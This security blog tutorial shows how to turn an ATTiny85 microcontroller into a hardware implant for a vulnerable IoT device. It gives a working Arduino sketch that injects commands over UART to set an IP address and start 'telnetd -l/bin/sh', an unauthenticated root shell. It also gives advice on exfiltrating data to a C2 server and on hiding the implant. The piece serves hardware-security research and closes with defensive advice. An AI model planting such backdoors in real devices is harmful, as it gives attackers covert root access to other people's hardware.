Hardware Implant Attacks (Part 2) — Create a backdoor in vulnerable IoT devices using an ATTiny85
[Disclaimer: The goal of this article is to bring academic insights to the functionalities of MCU chips and to shed light on how IoT devices can be susceptible to hardware implant attacks by malicious attackers. The insights shared are purely for learning purposes.
The author and CSG do not condone, encourage, nor intend for the lessons described below to be used for any purposes other than cybersecurity research. The entity and its product mentioned in this article, Pogo Plug, are known to be defunct as of the time of publication. The author has made all reasonable attempts to contact the company and to disclose to it the findings described in this article.]
In my previous article, I showed how one could identify vulnerable IoT devices and gain root access by communicating via a Universal Asynchronous Receiver/Transmitter (UART). In part two of the series, I will demonstrate how a backdoor can be created on an IoT device using an ATTiny85. This article will cover the following areas:
1. Microcontroller Unit (MCU) programming basics using the Arduino
2. How to program backdoor commands on the ATTiny85 chip to communicate with the serial interface of vulnerable IoT devices
3. How to perform hardware implant attacks without soldering, making the conduct easier and faster
What is an ATTiny85 chip?
As its name suggests, the ATTiny85 chip is a tiny MCU that provides a high-performance output despite its low power consumption. This makes the ATTiny85 ideal for covert hardware implant attacks. MCUs are basically small computers, housed on a single integrated circuit, that can perform dedicated functions. In other words, they are the brains of IoT devices. MCUs that are tinier than an ATTiny85 can be manufactured if given more resources.
Pre-setup on Arduino and ATTiny85
To begin programming the ATTiny85, you will first need to download Arduino. Once you have Arduino installed, follow this guide to install the necessary libraries and program an ATTiny85 chip using an Arduino UNO. One key thing to note — if your vulnerable IoT device is using a high baud rate for communication, ensure that the appropriate clock speed is set before you burn bootloader. The table below details the theoretical and practical limits based on the clock speed.
The malicious backdoor sketch
As the ATTiny85 doesn’t have a default serial receiver (RX) and transmitter (TX), we will leverage the ‘SoftwareSerial’ library to declare the pins. When declaring the pins, please note that the numerical number given to the library corresponds to the Port B (PB) numbers in Image 2 (This makes more sense when you refer to the codes below).
These are the codes to program the ATTiny85 to perform Operating System (OS) commands on the vulnerable IoT devices:
1. #include <SoftwareSerial.h>
2.
3. //maps to PB3 and PB4 — RX and TX respectively
4. SoftwareSerial Monitor(3,4);
5. void setup() {
6. Monitor.begin(115200);
7. delay(20000);
8. Monitor.println(“ifconfig eth0 192.168.1.4”);
9. Monitor.println(“telnetd -l/bin/sh”);
10. }
11.
12. void loop() {
13. Monitor.println(“ls”); //used for diagnostic purpose
14. delay(7000);
15. }The explanation to the ATTiny85 codes is as follows:
- Line 6 — This sets the ATTiny85 baud rate to 115200 — the same rate as that of the IoT device identified in the previous article.
- Line 7 — Introduces a delay of 20 seconds in the code. This is the estimated time for the vulnerable device to fully boot up.
- Line 8 — Sets a static IP address for the vulnerable IoT device.
- Line 9 — Runs the Telnet Daemon on the vulnerable IoT device to allow for remote connections on the same network.
- Lines 13 and 14 — Runs the ‘ls’ command every 7 seconds for diagnostic purposes.
If you are concerned that the sketch may not be uploaded to the ATTiny85, you can perform a simple diagnostic test as seen in Image 3. In the demarcated area ‘1’, we configure the TX pin of the ATTiny85 to the RX of the IoT device. In the demarcated area ‘2’, we connect the TX and Ground (GND) of the IoT device to the USB to TTL serial and run the PuTTY program to view the output. If you are using the exact codes above, you should see lines 8 and 9, followed by a constant ‘ls’ command that loops every seven seconds.
Putting together the attack
Now, we eliminate the Arduino and connect the ATTiny85 to the UART pins on the IoT device. The following schematics represent the final set-up:
*I use a battery coin to generate current as the VCC pin on the IoT device is damaged
As seen in the video, each time the vulnerable IoT device boots up, the ATTiny85 injects operating system commands to the IoT device. These commands set a static IP address on the device and open the Telnet daemon service. Being on the same network lets me remotely connect to the device with root shell access via Telnet.
This is a simple Proof-of-Concept to demonstrate the execution of OS commands on a vulnerable IoT device. You can also modify the codes to passively monitor traffic or files and exfiltrate them to a Command and Control (C2) server.
How can I make my hardware implant output look stealthy?
In this two-part series, I completed a simple demonstration on hardware implants. The question is: “Can one solder or modify the final product to not seem overly suspicious?” The answer is YES! Joe (@securelyfitz) shared in BlackHat USA that with enough resources and skills in hardware prototyping, you could customise your chip and simply interact across the UART pinouts. Instead of soldering, you could use a Z-tape thatfunctions like a double-sided tape that conducts electricity on the Z-axis. The set-up in Image 6 will achieve the same output of executing OS commands, eliminating the messy hardware equipment and wires as seen in Image 5.
Conclusion
This article illustrated how one could program an MCU and use it to communicate with a vulnerable IoT device via UART. We also explored the possibility of using hardware prototyping and Z-tape to aid in the conduct of hardware implant attacks, making it easier and faster for such attacks to occur.
Today, companies spend a good deal of resources on enhancing the security on software and network stack. As hardware security is still often overlooked, researchers are moving towards identifying vulnerabilities lower down the technology stack. Thus, it would be wise for IoT developers to discuss hardware security in early phases, such as the design phase, of the development cycle.
Some areas of discussion should include the evaluation of MCU chips (e.g. secure boot, read-out protection) and tamper solutions for IoT devices. Furthermore, when it comes to the release of commercial IoT products to consumers, baseline security hygiene factors must be met. This includes the testing for console access attacks, bus monitoring attacks, chip-based attacks and more. Hardware security is important and must not be overlooked!
Author’s note: Once again, I would like to thank GovTech for the opportunity to learn more in this IoT hardware space. Special thanks to Joe (@securelyfitz) for being a great influence in this hardware security space.
